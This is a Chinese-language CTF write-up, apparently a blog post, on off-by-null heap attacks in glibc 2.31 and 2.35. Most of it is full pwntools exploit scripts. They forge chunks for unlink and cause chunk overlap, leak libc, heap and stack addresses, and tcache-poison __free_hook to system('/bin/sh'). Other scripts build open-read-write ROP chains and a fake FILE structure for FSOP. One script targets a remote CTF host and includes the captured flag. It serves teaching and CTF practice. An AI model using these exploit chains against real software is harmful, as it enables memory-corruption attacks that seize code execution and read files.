高版本off-by-null堆攻击
相关源码
- 这里新加的prev_inuse检查让off-by-null变得麻烦,因为会通过prev_size来寻找到要被unlink的chunk,然后比较prev_size和它本身的size是否相等,这种一般也没有uaf
/* consolidate backward */
if (!prev_inuse(p)) {
prevsize = prev_size (p);
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
/* 后两行代码在最新版本中加入,则 2 的第二种方法无法使用,但是 2.28 及之前都没有问题 */
if (__glibc_unlikely (chunksize(p) != prevsize))
malloc_printerr ("corrupted size vs. prev_size while consolidating");
unlink_chunk (av, p);
}
- 高版本unlink和低版本这个没什么变化
#define next_chunk(p) ((mchunkptr) (((char *) (p)) + chunksize (p)))
static void
unlink_chunk (mstate av, mchunkptr p)
{
if (chunksize (p) != prev_size (next_chunk (p)))
malloc_printerr ("corrupted size vs. prev_size");
mchunkptr fd = p->fd;
mchunkptr bk = p->bk;
if (__builtin_expect (fd->bk != p || bk->fd != p, 0))
malloc_printerr ("corrupted double-linked list");
fd->bk = bk;
bk->fd = fd;
if (!in_smallbin_range (chunksize_nomask (p)) && p->fd_nextsize != NULL)
{
if (p->fd_nextsize->bk_nextsize != p
|| p->bk_nextsize->fd_nextsize != p)
malloc_printerr ("corrupted double-linked list (not small)");
if (fd->fd_nextsize == NULL)
{
if (p->fd_nextsize == p)
fd->fd_nextsize = fd->bk_nextsize = fd;
else
{
fd->fd_nextsize = p->fd_nextsize;
fd->bk_nextsize = p->bk_nextsize;
p->fd_nextsize->bk_nextsize = fd;
p->bk_nextsize->fd_nextsize = fd;
}
}
else
{
p->fd_nextsize->bk_nextsize = p->bk_nextsize;
p->bk_nextsize->fd_nextsize = p->fd_nextsize;
}
}
}
思路分析
-
多了几个步骤:
- 一个伪造fake chunk的过程
- 伪造了size还得满足__builtin_expect (fd->bk != p || bk->fd != p, 0)这个条件判断,这里主要是通过chunk进入bin的时候的入链操作来实现的
- (_BYTE )(((_QWORD )&chunklist + i) + (int)read(0, *((void **)&chunklist + i), size)) = 0;注意第二步修复fd,bk时还要注意这个有个\x00截断,因此堆风水很重要,这个chunk的最低字节要为\x00
-
chunk overlapping后可以切割unsorted bin中的overlapping chunk,直接add一个超大的chunk进行read(read之后记得delete),因为overlapping chunk存在一些chunk是没有被free掉的,那么这些就有大用途,可以打tcache poison也可以打largebin attack,取决于这个overlapping chunk里面有多少没有被free的chunk,自己也可以在overlapping之前多放几个进去,但可能要注意修改一些size和prevsize
-
要泄露heapbase的情况下,部分ck3需要申请出来uaf,同时这里没有直接对unsorted bin来add一个超大的chunk进行越界edit,而是通过修改在chunklist中存在的chunk(没有被free的chunk)的size来实现越界edit的效果
利用解析及常见模板
从C0开始到D的chunk被合并为一个chunk,中间有很多可以利用的
libc2.31、申请时有idx、不泄露heapbase
- 如果要用orw,可以考虑泄露栈地址,libc2.31的tcache不会对0x10字节对齐做检查
- 如果需要多次tcache poison,可以在3和5之间多加几个chunk用来tcache poison
# =============================================
# step1 P&0xff = 0
add(0,0x418, "A"*0x100) #0 A = P->fd
add(1,0x108) #1 barrier
add(2,0x438, "B0"*0x100) #2 B0 helper
add(3,0x438, "C0"*0x100) #3 C0 = P , P&0xff = 0
add(4,0x108,'4'*0x100) #4 barrier
add(5, 0x488, "H"*0x100) # H0. helper for write bk->fd. vitcim chunk.
add(6,0x428, "D"*0x100) # 6 D = P->bk
add(7,0x108) # 7 barrier
# =============================================
# step 2 use unsortedbin to set p->fd =A , p->bk=D
delete(0) # A
delete(3) # C0
delete(6) # D
# unsortedbin: D-C0-A C0->FD=A
delete(2) # merge B0 with C0. preserve p->fd p->bk
add(2, 0x458, 'a' * 0x438 + p64(0x551)[:-2]) # put A,D into largebin, split BC. use B1 to set p->size=0x551
# recovery
add(3,0x418) # C1 from ub
add(6,0x428) # bk D from largebin
add(0,0x418,"0"*0x100) # fd A from largein
# =============================================
# step3 use unsortedbin to set FD>bk
# partial overwrite FD-> bk
delete(0) # A=P->fd
delete(3) # C1
# unsortedbin: C1-A , A->BK = C1
add(0, 0x418, 'a' * 8) # 2 partial overwrite bk A->bk = p
add(3, 0x418)
# =============================================
# step4 use ub to set BK->fd
delete(3) # C1
delete(6) # D=P->bk
# ub-D-C1 D->FD = C1
delete(5) # merge D with H, preserve D->fd
add(6,0x500-8, '6'*0x488 + p64(0x431)) # H1. bk->fd = p, partial write \x00
add(3, 0x3b0) # recovery
# =============================================
# step5 off by null
edit(4, 0x100*'4' + p64(0x550))# off by null, set fake_prev_size = 0x550, prev inuse=0
delete(6) # merge H1 with C0. trigger overlap C0,4,6
# =============================================
# step6 overlap
add(6,0x438) # put libc to chunk 4
show(4) # libc
libc_addr = uu64(r(6))
libc_base = libc_addr - 0x1ecbe0
leak('libc_base', libc_base)
leak('libc_addr', libc_addr)
delete(6) # consolidate
add(6, 0x458, 0x438*'6'+p64(0x111)) # fix size for chunk 4. 6 overlap 4
delete(7) # tcache
delete(4) # tcache
edit(6, 0x438*'6'+p64(0x111)+p64(libc_base+libc.sym['__free_hook'])) # set 4->fd= __free_hook
add(7,0x108,'/bin/sh\x00')
add(4,0x108)
edit(4, p64(libc_base+libc.sym['system']))
delete(7)
libc2.31,申请时有idx,可以无限edit,orw
- 如果需要多次tcache poison,可以在3和5之间多加几个chunk用来tcache poison
from pwn import *
from pwnlib.util.packing import u64
from pwnlib.util.packing import p64
context(os='linux', arch='amd64')
p=remote('150.158.117.224',20098)
# p = process("/home/zp9080/PWN/ezheap")
elf = ELF("/home/zp9080/PWN/ezheap")
libc=elf.libc
#HZNUCTF{348fcc34-ce27-40ae-b651-133d2659e45b}
def dbg():
gdb.attach(p,'b *$rebase(0x19AD )')
pause()
def add(idx,size):
p.sendlineafter("Enter your choice: ",str(1))
p.sendlineafter("input ur yummy food index:",str(idx))
p.sendlineafter("input ur yummy food size:",str(size))
def edit(idx,content):
p.sendlineafter("Enter your choice: ",str(2))
p.sendlineafter("input ur yummy food index:",str(idx))
p.sendafter("food:",content)
def delete(idx):
p.sendlineafter("Enter your choice: ",str(3))
p.sendlineafter("Enter user laji food id to delete: ",str(idx))
def show(idx):
p.sendlineafter("Enter your choice: ",str(4))
p.sendlineafter("input ur yummy food index:",str(idx))
# =============================================
# step1 P&0xff = 0
add(0,0x418) #0 A = P->fd
add(1,0x108) #1 barrier
add(2,0x438) #2 B0 helper
add(3,0x438) #3 C0 = P , P&0xff = 0
add(4,0x108) #4 barrier
add(9,0x108) #for tcache poison
add(5,0x488) # H0. helper for write bk->fd. vitcim chunk.
add(6,0x428) # 6 D = P->bk
add(7,0x108) # 7 barrier
add(8,0x108)
# =============================================
# step 2 use unsortedbin to set p->fd =A , p->bk=D
delete(0) # A
delete(3) # C0
delete(6) # D
# unsortedbin: D-C0-A C0->FD=A
delete(2) # merge B0 with C0. preserve p->fd p->bk
add(2, 0x458) # put A,D into largebin, split BC. use B1 to set p->size=0x551
edit(2,b'a' * 0x438 + p64(0x661)[:-2])
# recovery
add(3,0x418) # C1 from ub
add(6,0x428) # bk D from largebin
add(0,0x418) # fd A from largein
edit(0,b"0"*0x100)
# =============================================
# step3 use unsortedbin to set FD->bk
# partial overwrite FD -> bk
delete(0) # A=P->fd
delete(3) # C1
# unsortedbin: C1-A , A->BK = C1
add(0, 0x418) # 2 partial overwrite bk A->bk = p
edit(0,b'a' * 8)
add(3, 0x418)
# =============================================
# step4 use ub to set BK->fd
delete(3) # C1
delete(6) # D=P->bk
# ub-D-C1 D->FD = C1
delete(5) # merge D with H, preserve D->fd
add(6,0x500-8) # H1. bk->fd = p, partial write \x00
edit(6,b'6'*0x488 + p64(0x431))
add(3, 0x3b0) # recovery
# =============================================
# step5 off by null
edit(9, 0x100*b'9' + p64(0x660))# off by null, set fake_prev_size = 0x660, prev inuse=0
delete(6) # merge H1 with C0. trigger overlap C0,4,6
# =============================================
# step6 overlap
add(6,0x438) # put libc to chunk 4
show(4) # libc
libcbase = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 0x1ecbe0
print(hex(libcbase))
delete(6) # consolidate
add(6, 0x600) # fix size for chunk 4. 6 overlap 4
edit(6,0x438*b'6'+p64(0x111))
delete(7) # tcache
delete(4) # tcache
edit(6, 0x438*b'6'+p64(0x111)+p64(libcbase+libc.sym['environ'])) # 泄露栈地址
add(7,0x108)
add(4,0x108)
show(4)
stack= u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
print(hex(stack))
ret=stack-0x128+8 #ret
print(hex(ret))
delete(8)
delete(9)
edit(6, 0x438*b'6'+p64(0x111)+b'a'*0x108+p64(0x111)+p64(ret))
# dbg()
add(0,0x108)
flag=ret+8*22
pop_rdi=libcbase+0x23b6a
pop_rsi=libcbase+0x2601f
pop_rdx_r12=libcbase+0x119431
open_addr=libcbase+libc.sym['open']
read_addr = libcbase + libc.sym['read']
write_addr=libcbase+libc.sym['write']
payload=p64(pop_rdi)+p64(flag)+p64(pop_rsi)+p64(0)+p64(open_addr)
payload+=p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(stack)+p64(pop_rdx_r12)+p64(0x100)*2+p64(read_addr)
payload+=p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(stack)+p64(pop_rdx_r12)+p64(0x100)*2+p64(write_addr)+p64(0xdeadbeef)+b'flag\x00\x00\x00\x00'
# dbg()
add(1,0x108)
edit(1,payload)
p.interactive()
libc2.35、申请时无idx、要泄露heapbase打IO
- 要泄露heapbase的情况下,部分ck3需要申请出来uaf,同时这里没有直接对unsorted bin来add一个超大的chunk进行越界edit,而是通过修改在chunklist中存在的chunk(没有被free的chunk)的size来实现越界edit的效果
from pwn import *
from pwnlib.util.packing import u64
from pwnlib.util.packing import p64
from pwnlib.util.packing import p16
context(os='linux', arch='amd64', log_level='debug')
p = process("/home/zp9080/PWN/pwn")
libc = ELF("/home/zp9080/PWN/libc.so")
elf = ELF("/home/zp9080/PWN/pwn")
'''
0x55555555bc00 ck3
0x55555555b290 ck0
0x55555555c5e0 ck6
0x55555555bc20 部分ck3
'''
def add(size,content='deadbeef'):
p.sendlineafter(">> ",str(1))
p.sendlineafter("How many students do you want to add: ",str(1))
p.sendlineafter("Gender (m/f): ",'m')
p.sendlineafter("Size: ",str(size))
p.sendafter("Content:",content)
def show(idx,choose=2):
p.sendlineafter(">> ",str(2))
p.sendlineafter("Enter the index of the student: ",str(idx))
p.sendlineafter(">> ",str(choose))
def delete(idx,choose=2):
p.sendlineafter(">> ",str(3))
p.sendlineafter("Enter the index of the student: ",str(idx))
p.sendlineafter(">> ",str(choose))
def dbg():
gdb.attach(p,'b *$rebase(0x1B64)')
pause()
add(0x410) # 0
add(0x100) # 1
add(0x430) # 2
add(0x430) # 3 --------------------ck3的堆地址最低字节为\x00----------------------
add(0x100) # 4
add(0x480) # 5
add(0x420) # 6
add(0x100) # 7
delete(0)
delete(3)
delete(6)
delete(2)
add(0x450, b'a'*0x438+p16(0x551)) # 0 ck2和极小部分ck3 ----------ck3的size被改为0x551,注意这里的p16,如果是p64,ck3的fd会被修改-----------
add(0x410) # 2 部分ck3
add(0x420) # 3 ck6
add(0x410) # 6 ck0
#修复ck0->bk
delete(6)
delete(2)
add(0x410) # 2 ck0
add(0x410) # 6 部分ck3
#修复ck6->fd
delete(6)
delete(3)
delete(5) #delete(5)会unlink ck6 ,合成一个大小为0x8c1的chunk
#-----------------切割0x8c1的chunk,同时覆盖ck6->fd低字节为\x00-------------
add(0x4f0, b"a"*0x488 + p64(0x431)) # 3
add(0x3b0) # 5
#------------------通过ck4把ck5的prev_size改为0x550,size的最低字节变为\x00-------------
delete(4)
add(0x108, b"a"*0x100 + p64(0x550))#4
add(0x410)#6 ------------------把largebin中的部分ck3拿出,这里造了一个uaf,至关重要------------------
#------------------那么free(3)通过prev_size找到的chunk就是伪造了size的ck3,前面已经使得其满足unlink的条件----------------
delete(3)
add(0x10)#3--------------------让部分ck3作为unsorted bin的fd----------------
show(6)
p.recvuntil("Introduction: ")
libcbase = u64(p.recv(6).ljust(8, b'\x00')) - 0x219ce0
print('libcbase:',hex(libcbase))
#--------------------因为部分ck3之前既在largebin中,又在unsorted bin中,所以可以让两个指针指向ck3
#--------------------同时让其大小变为0x400,这里仿佛硬造出了一个uaf,6、8都指向部分ck3-------------------
add(0x3f0)#8 这里让部分ck3的size变成0x400让其可以进入tcache进而泄露heapbase------------
add(0x60, b'a' * 0x18 + p64(0x91))#9 ------------------ck4的chunk大小本来为0x110,这一步让最初ck4的chunk的大小变为0x90----------
#这样做主要是因为ck4没有被free,相当于uaf,可以伪造chunk size实现越界edit
add(0x3f0)#10 --------------------申请一个0x400大小的chunk,为了后面打tcache poison
delete(6)
show(8)
p.recvuntil("Introduction: ")
heapbase= (u64(p.recv(5).ljust(8, b'\x00')) << 12)
print(hex(heapbase))
pop_rdi = libcbase + 0x000000000002a3e5
pop_rsi = libcbase + 0x000000000002be51
pop_rdxr12 = libcbase + 0x000000000011f0f7
ret = libcbase + 0x0000000000029cd6
pop_rax = libcbase + 0x0000000000045eb0
pop_rbp = libcbase + 0x000000000002a2e0
leave_ret = libcbase + 0x000000000004da83
close = libcbase + libc.sym['close']
read = libcbase + libc.sym['read']
write = libcbase + libc.sym['write']
syscallret = libcbase + next(libc.search(asm('syscall\nret')))
io_list_all= libc.sym['_IO_list_all'] + libcbase
delete(4) #0x90 tcache
delete(10) #0x400 tcache :10->6
#通过那个0x90的chunk来实现edit(10)进行tcache poison,构思太巧妙了
add(0x80, b'a' * 0x48 + p64(0x401) + p64((heapbase+0x10a0)>>12^io_list_all))
fake_IO_addr =heapbase+0x10a0
magic_gadget = libcbase + libc.sym["svcudp_reply"] + 0x1a
leave_ret = libcbase + 0x0000000000052d72 #: leave ; ret
pop_rdi_ret = libcbase + 0x000000000002daa2 #: pop rdi ; ret
pop_rsi_ret = libcbase + 0x0000000000037c0a #: pop rsi ; ret
pop_rdx_r12_ret = libcbase + 0x00000000001066e1 #: pop rdx ; pop r12 ; ret
rop_address = fake_IO_addr + 0xe0 + 0xe8 + 0x70
orw_rop = b'./flag\x00\x00'
orw_rop += p64(pop_rdx_r12_ret) + p64(0) + p64(fake_IO_addr - 0x10)
orw_rop += p64(pop_rdi_ret) + p64(rop_address)
orw_rop += p64(pop_rsi_ret) + p64(0)
orw_rop += p64(libcbase + libc.sym['open'])
orw_rop += p64(pop_rdi_ret) + p64(3)
orw_rop += p64(pop_rsi_ret) + p64(rop_address + 0x100)
orw_rop += p64(pop_rdx_r12_ret) + p64(0x50) + p64(0)
orw_rop += p64(libcbase + libc.sym['read'])
orw_rop += p64(pop_rdi_ret) + p64(1)
orw_rop += p64(pop_rsi_ret) + p64(rop_address + 0x100)
orw_rop += p64(pop_rdx_r12_ret) + p64(0x50) + p64(0)
orw_rop += p64(libcbase + libc.sym['write'])
payload = p64(0) + p64(leave_ret) + p64(1) + p64(2) #这样设置同时满足fsop
payload = payload.ljust(0x38, b'\x00') + p64(rop_address) #FAKE FILE+0x48
payload = payload.ljust(0x90, b'\x00') + p64(fake_IO_addr + 0xe0) #_wide_data=fake_IO_addr + 0xe0
payload = payload.ljust(0xc8, b'\x00') + p64(libcbase + libc.sym['_IO_wfile_jumps']) #vtable=_IO_wfile_jumps
#*(A+0Xe0)=B _wide_data->_wide_vtable=fake_IO_addr + 0xe0 + 0xe8
payload = payload.ljust(0xd0 + 0xe0, b'\x00') + p64(fake_IO_addr + 0xe0 + 0xe8)
#*(B+0X68)=C=magic_gadget
payload = payload.ljust(0xd0 + 0xe8 + 0x68, b'\x00') + p64(magic_gadget)
payload = payload + orw_rop
add(0x3f0, payload)
add(0x3f0, p64(heapbase+0x10a0))
p.sendlineafter(">> ",str(4))
p.interactive()
0 条评论
可输入 255 字